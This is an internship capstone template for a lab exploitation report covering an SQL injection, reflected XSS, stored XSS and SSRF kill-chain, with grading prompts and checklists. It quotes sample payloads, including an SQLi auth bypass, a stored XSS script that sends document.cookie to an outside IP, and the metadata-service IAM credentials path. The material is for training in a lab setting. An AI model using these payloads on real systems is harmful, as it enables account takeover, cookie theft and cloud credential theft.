Ubuntu Bridge Initiative · Cybersecurity Internship · Cohort 1 · Stage 2 Capstone

*Editable template — Deliverable 2 of 4. Target length: 3–5 pages. This is the "I actually did it" deliverable. The template gives you the section shape of a top-band proof pack; the **payloads and the verbatim server responses must be your own**, copied from the lab. The verifier checks the SQLi and SSRF payloads on the server — a described exploit scores nothing, a working one scores. Replace every `[BRACKETED]` prompt. Remove every prompt and every italic guidance line before submission.*

Deliverable 2 — Exploitation proof pack: the full kill-chain

> **Before you start writing, check yourself:**
>
> - *Do you have, saved in your scratch file: the* **exact payload** *you sent and the* **verbatim server/lab response** *(flag or verifier success output) for* **all four** *links?*
>
> - *For the* **SQLi** *and the* **SSRF***, do you also have your* **first failed attempt** *and its response? (The brief asks for it by name. A clean one-shot success with no failed attempt reads as copied, not earned.)*
>
> - *Can you state the chain order from memory:* **SQL injection !' reflected XSS !' stored XSS !' SSRF** *Sections out of order cost points.*
>
> - *Can you tell the* **reflected** *XSS (search field) apart from the* **stored** *XSS (notes/comments)? Confusing them is the single most common Stage 2 mistake.*
>
> - *If any answer is no, go back to the lab. This template cannot fake a server-verified flag.*

% % Page 1 — Title and kill-chain overview % %

`Stage 2 · D2 · [Your Full Name] · [UBI-2026-####]`

Stage 2 Capstone · Deliverable 2

Exploitation proof pack — the full kill-chain

Author: [Your full name] · **Intern code:** [UBI-2026-####] · **Date:** [DD Month 2026] **Engagement:** Sankofa Digital · reproduction of "The Griot" web kill-chain · lab environment

Kill-chain summary

[One short paragraph (~80 words). State the four links in order and what each one *handed to the next*. The grader wants to see you understand the chain as a chain — each link is a pivot, not a standalone bug.

Example shape: "Four links, exploited in order. The SQL injection in `login.php` gave an authenticated admin session without a password. The reflected XSS proved client-trust was broken; the stored XSS in the notes/comments feature weaponised it into a persistent cookie-theft beacon. The SSRF against the metadata service then converted web access into cloud IAM credentials — the pivot from 'inside the app' to 'inside the account'."]

Chain-of-custody note

[2 sentences. Confirm every payload below was run in the lab environment, and that the responses pasted are verbatim (you have not paraphrased a server response). Graders treat paraphrased server output as a red flag.]

> **Before you move to page 2, confirm:**
>
> - [ ] *First line is the* `Stage 2 · D2 · Name · Code` *identity line.*
> - [ ] *The four links are named in the correct order in the summary.*
> - [ ] *You have stated that responses are verbatim, not paraphrased.*

% % Pages 2–4 — One section per vulnerability, in exploit order % %

Use the block below once per link. Keep the order: SQLi !' reflected XSS !' stored XSS !' SSRF. Do not merge the two XSS into one section — they are different vulnerability classes with different blast radius, and keeping them separate is graded.

Link 1 — SQL injection (authentication bypass)

Component. `[endpoint / field — e.g. POST /legacy-admin/login.php, the` username `parameter]` **CWE.** `[CWE-89 — SQL Injection. State it.]`

The payload I sent (verbatim): [Paste your exact payload. The captured-attacker example is username=admin' OR '1'='1 with any password — but for full marks the lab also rewards a UNION SELECT that pulls a column the verifier checks. Paste what YOU ran and what the server accepted.]

The verbatim server / lab response confirming it worked: [Paste the exact response — the 302 to dashboard.php and the issued session, the verifier's success output, or your flag. Do not paraphrase.]

First failed attempt (required for SQLi): [Paste your first attempt that did NOT work — e.g. a UNION SELECT with the wrong number of columns.] **Why it failed:** [One sentence — e.g. "`wrong-column-count`: my UNION had three columns against a four-column SELECT, so the engine rejected it before evaluating the injection."]

Root cause (one line, cause not symptom): [e.g. "The data-access layer concatenated `$username` straight into the SQL string (`...WHERE username = '" . $username . "'`) — see recovered `01-legacy-admin-login.php`. The cause is string concatenation in the query builder, not 'input wasn't validated'."]

What this link gave the attacker (the pivot): [One sentence — e.g. "An authenticated admin session, which unlocked `users.php` (312 rows of PII) and the comment/notes feature used in Link 3."]

Link 2 — Reflected XSS (search field)

Component. `[the reflected sink — name the search/query field and the parameter]` **CWE.** `[CWE-79 — Cross-site Scripting. Specify reflected.]`

The payload I sent (verbatim): [Your reflected payload — the one echoed straight back in the response from a request parameter, not stored.]

The verbatim response confirming reflection: [Paste the response showing your script echoed unescaped in the page. Your flag if the lab issues one.]

Why this is REFLECTED, not stored: [One sentence drawing the distinction explicitly — the payload lives in the request and is echoed in that same response; it is not persisted, so the blast radius is "anyone who clicks my crafted link," not "anyone who views the page."]

What this link gave the attacker (the pivot): [One sentence — proof the app trusts client input in HTML context, which Link 3 escalates into persistence.]

Link 3 — Stored XSS (notes / comments)

Component. `[POST /legacy-admin/comments/post — the persisted notes/comments field]` **CWE.** `[CWE-79 — Cross-site Scripting. Specify stored.]`

The payload I sent (verbatim): [Your stored payload. The captured attacker used: <script>fetch('https://185.220.101.9:8443/c?'+document.cookie)</script> Paste what YOU stored and confirmed renders for a different viewer.]

The verbatim response / proof it persisted and fired: [Paste the stored-and-rendered proof or your flag — evidence the payload executes when a DIFFERENT user loads the page.]

Why this is STORED, not reflected — and why its blast radius is larger: [One or two sentences. The payload is persisted server-side and fires for *every* viewer of the notes page (including the admin), with no crafted link required. State the cookie-theft beacon to `185.220.101.9:8443` as the concrete impact.]

What this link gave the attacker (the pivot): [One sentence — session/cookie capture, broadening access beyond the SQLi session.]

Link 4 — SSRF (metadata service !’ cloud IAM credentials)

Component. `[the SSRF sink — the URL-fetching feature; note the open redirect / ?next= and the files/path fetch as related primitives]` **CWE.** `[CWE-918 — Server-Side Request Forgery. State it.]`

The payload I sent (verbatim): [Your exact SSRF payload — the metadata-service URL you reached, e.g. the link-local 169.254.169.254 IAM credentials path your lab uses. Paste exactly what the server fetched on your behalf.]

The verbatim response confirming it worked: [Paste the verbatim response — the IAM credential blob the metadata service returned, or the verifier's success output / your flag. This is server-checked; it cannot be faked.]

First failed attempt (required for SSRF): [Paste your first attempt that returned the wrong thing.] **Why it failed:** [One sentence — e.g. "`metadata-but-not-iam`: I hit the metadata root and got instance metadata, but not the …`/iam/security-credentials/<role>` path that returns the temporary keys."]

What this link gave the attacker (the pivot — and the end of the chain): [One sentence — temporary cloud IAM credentials, i.e. read access to the `customer_pii` index / 84,210 records. This is where web access becomes account access.]

> **Before you write the closing page, confirm for EVERY link:**
>
> *- [ ] Component + CWE named.*

> *- [ ] Exact payload in a code block.*

> *- [ ] Verbatim server/lab response (flag or verifier output) in a code block.*

> *- [ ] SQLi and SSRF each include a* **first failed attempt** *+ one-sentence reason.*

> *- [ ] Reflected vs stored XSS are in* **separate** *sections and explicitly distinguished.*

> *- [ ] Each link ends with the one-sentence pivot to the next link.*

% % Closing — the chain as one weapon % %

[~80 words. Step back: state how the four independently-mild-sounding bugs compose into a catastrophic chain (auth bypass !' client-trust break !' persistence !' cloud takeover). Name the single link that, if it had been closed, would have broken the chain earliest — and defend the pick. This shows the grader you understand chaining, the thing that separates a pen-tester from a scanner.]

Pre-submission checklist for D2

- [ ] **First line** is `Stage 2 · D2 · <Full Name> · <Intern Code>`.
- [ ] **Four sections**, in order: SQLi !' reflected XSS !' stored XSS !' SSRF.
- [ ] **Every** link has component, CWE, exact payload, and verbatim server response.
- [ ] **SQLi and SSRF** each include the first-failed-attempt response + one-sentence reason.
- [ ] **Reflected and stored XSS** are separate and explicitly told apart.
- [ ] **Root cause** stated as cause, not symptom (at least for SQLi).
- [ ] **Every payload is one you actually ran** — the verifier checks SQLi/SSRF on the server.
- [ ] No response is paraphrased; all are verbatim.
- [ ] **Every `[BRACKETED]` prompt** and **italic guidance line** removed.
- [ ] **Page count is 3–5.** Saved as **PDF** (DOCX accepted).
- [ ] **File named** `STAGE2_D2_EXPLOIT_<Surname>.pdf`.

— UBI Programme Team